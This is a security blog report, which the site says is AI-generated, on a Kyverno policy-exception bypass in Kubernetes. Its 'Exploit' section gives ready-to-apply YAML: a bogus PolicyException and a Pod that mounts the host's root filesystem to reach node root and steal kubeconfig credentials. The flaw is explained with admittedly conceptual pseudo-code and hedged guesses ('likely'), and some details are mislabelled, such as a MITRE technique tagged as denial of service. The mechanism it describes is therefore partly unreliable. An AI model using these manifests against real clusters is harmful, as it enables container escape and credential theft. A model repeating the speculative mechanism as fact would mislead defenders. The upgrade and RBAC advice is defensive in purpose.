CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-GG4X-FGG2-H9W9
9.10.04%

Double Jeopardy: Bypassing Kyverno Policies via Exception Logic Flaws

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 26, 2026·6 min read·10 visits

PoC Available

Executive Summary (TL;DR)

Kyverno versions 1.9.0 through 1.12.7 contain a logic bug where defining multiple PolicyExceptions for a single policy causes the enforcement engine to fail open. Attackers with permissions to create exceptions (or leverage existing ones) can bypass critical security controls.

A critical logic flaw in the Kyverno policy engine for Kubernetes allows attackers to completely bypass security policies by introducing multiple overlapping PolicyException resources. This vulnerability essentially turns the 'most restrictive' security model on its head, permitting malicious payloads (like hostPath mounts) simply because the admission controller gets confused by the presence of a second exception.

The Hook: When "Safe" is Just a Suggestion

Kubernetes policy management is usually a choice between learning the esoteric arts of Rego (OPA Gatekeeper) or using something that feels more 'native' like Kyverno. Kyverno is popular because it's just YAML. You write a policy, you apply it, and suddenly your developers can't deploy containers running as root. It feels safe. It feels warm. But here's the cold, hard truth: complexity in security tools is like gravity—it's always there, pulling you down.

GHSA-GG4X-FGG2-H9W9 is a beautiful disaster in logic. It attacks the very mechanism designed to make life easier: the PolicyException. In the real world, absolute security is impossible, so we build backdoors for the admins—exceptions. "Block all root containers... except for the monitoring agent." It sounds reasonable until you realize that how the engine counts those exceptions matters more than the policy itself.

This isn't a buffer overflow. There's no shellcode here. This is purely a failure of the admission controller to make up its mind when faced with two contradictory or overlapping instructions. It's the digital equivalent of asking Mom for permission, getting a 'No', then asking Dad, and while they argue, you walk out the door with the car keys.

The Flaw: The Confusion of Crowds

The vulnerability lies in how Kyverno (versions 1.9.0 to 1.12.7) evaluates PolicyException resources when the cluster is in enforce mode. The logic was designed to check if a pending resource request matches an exception. If it does, the blocking policy is skipped. Simple, right?

The problem arises when multiple exceptions apply to the context. In a robust system, the logic should be: "If any valid exception fully covers this request, allow it. Otherwise, enforce the policy." However, Kyverno's aggregation logic had a short-circuit flaw. When multiple exceptions were present—perhaps one specific exception for a namespace and another global exception, or two overlapping exceptions—the engine's evaluation loop became inconsistent.

Specifically, the presence of a second PolicyException could effectively 'dilute' the enforcement. The engine might evaluate the first exception (which doesn't match the attacker's payload), but the mere processing of the second exception—even if it was broadly defined or unrelated—could trigger a state where the original policy enforcement was skipped. It's a classic race condition of logic, not time. The engine sees two potential paths to 'allow' and somehow forgets to check the 'deny' gate effectively.

The Code: Logic Failure in Go

While the exact diff is masked behind the massive v1.13.0 release, the conceptual failure looks like a breakdown in the boolean logic of the admission chain. Imagine a simplified pseudo-code block representing the vulnerable logic:

// Vulnerable Logic Pattern
func checkExceptions(policy Policy, resource Resource, exceptions []Exception) Decision {
    for _, ex := range exceptions {
        if match(ex, resource) {
            return Allow // Short-circuit on first match
        }
        // ... internal state confusion ...
    }
    // If the loop completes with multiple partial matches, 
    // older versions sometimes defaulted unsafe.
    return Enforce
}

The critical issue is the Incomplete Aggregation. If Exception A is restrictive (e.g., "Allow image X in namespace Y") and Exception B is loose or malformed, the evaluator might prioritize the less restrictive path or fail to apply the specific constraints of the policy because the existence of Exception B effectively resets the validation context.

The fix in v1.13.0 rewrites this aggregation. It likely enforces a strict 'deny-by-default' unless a specific, unambiguous exception allows the action, regardless of how many other irrelevant exceptions exist in the cluster. They moved from a fuzzy match list to a strict validation chain.

The Exploit: Bypassing the bouncer

Let's weaponize this. Assume you are an attacker with edit rights in a namespace, but the cluster admin has locked down everything with a strict disallow-host-path policy. You want to mount /etc/kubernetes from the host to steal the admin's kubeconfig.

The Setup

  1. Target Policy: disallow-host-path (Enforce mode).
  2. Existing Exception: The admin already created exception-monitoring to let Datadog mount host paths.

The Attack Chain

If you have permissions to create PolicyException resources (which is often overlooked in RBAC), or if you can manipulate labels to match a second dormant exception:

  1. Inject the Noise: Create a second PolicyException named exception-bypass-attempt. This exception doesn't even need to be perfectly crafted to match your payload. It just needs to target the same policy.

    apiVersion: kyverno.io/v2alpha1
    kind: PolicyException
    metadata:
      name: exception-bypass-attempt
      namespace: default
    spec:
      exceptions:
      - policyName: disallow-host-path
        ruleNames: ["host-path"]
      match:
        any:
        - resources:
            kinds:
            - Pod
  2. Trigger the Logic Flaw: Deploy your malicious Pod.

    apiVersion: v1
    kind: Pod
    metadata:
      name: pwn-host
    spec:
      containers:
      - name: shell
        image: ubuntu
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
  3. Execution: The Admission Controller sees the policy disallow-host-path. It checks for exceptions. It sees exception-monitoring (no match) AND exception-bypass-attempt. Due to the double exception flaw, the admission controller falters, defaults to Allow, and your Pod schedules. You now have root access to the node.

The Impact: Why this is a 9.1

A CVSS score of 9.1 isn't handed out lightly. The impact here is Integrity and Confidentiality collapse. If a policy engine cannot enforce policies, it is worse than useless—it gives a false sense of security.

Scope Change (S:C) is the kicker here. By exploiting this in one namespace, I can deploy a privileged container that compromises the underlying Node. Once I compromise the Node, I can potentially steal secrets from other namespaces, access the cloud metadata service (IMDS), or pivot to the control plane.

This vulnerability renders your entire PodSecurityStandard implementation void. If you relied on Kyverno to enforce PCI-DSS compliance (e.g., preventing privileged containers), you are now non-compliant. The vulnerability doesn't require complex memory manipulation or race conditions; it just requires the Kubernetes API and the ability to confuse the referee.

The Fix: Upgrade or Die

There is no clever configuration hack to fix a binary logic error. You need to replace the brain of the operation.

  1. Upgrade: Move to Kyverno v1.13.0 immediately. This version refactors the exception handling logic to correctly aggregate multiple exception resources.
  2. Audit: While you wait for the upgrade to rollout, run the following command to see if you are currently exposed to "Double Exceptions":
    kubectl get policyexceptions -A
    If you see multiple exceptions targeting the same policy/rule, you are in the danger zone.
  3. RBAC Lockdown: Ensure developers do NOT have create/update permissions on policyexceptions.kyverno.io. This resource is as powerful as ClusterRoleBinding and should be guarded just as jealously.

Official Patches

KyvernoKyverno v1.13.0 Release Notes

Fix Analysis (1)

Technical Appendix

CVSS Score
9.1/ 10
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

Kubernetes Clusters using KyvernoKyverno Admission Controller

Affected Versions Detail

Product
Affected Versions
Fixed Version
Kyverno
Kyverno
>= 1.9.0, <= 1.12.71.13.0
AttributeDetail
Attack VectorAdjacent Network (Kubernetes API)
CVSS Score9.1 (Critical)
CWECWE-693 (Protection Mechanism Failure)
ImpactSecurity Policy Bypass
Exploit StatusPoC Available
Affected Versionsv1.9.0 - v1.12.7

MITRE ATT&CK Mapping

T1565.002Endpoint Denial of Service: Application or System Exploitation
Impact
T1068Exploitation for Privilege Escalation
Privilege Escalation
T1484Domain Policy Modification
Defense Evasion
CWE-693
Protection Mechanism Failure

Protection Mechanism Failure

Known Exploits & Detection

PulsePatchAnalysis of the double exception bypass logic.

Vulnerability Timeline

Kyverno v1.13.0 Released (Silent Fix)
2024-10-30
GHSA-GG4X-FGG2-H9W9 Published
2026-01-05
Added to Go Vulnerability Database
2026-01-12

References & Sources

  • [1]GitHub Advisory GHSA-GG4X-FGG2-H9W9
  • [2]Kyverno Policy Exceptions Documentation

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.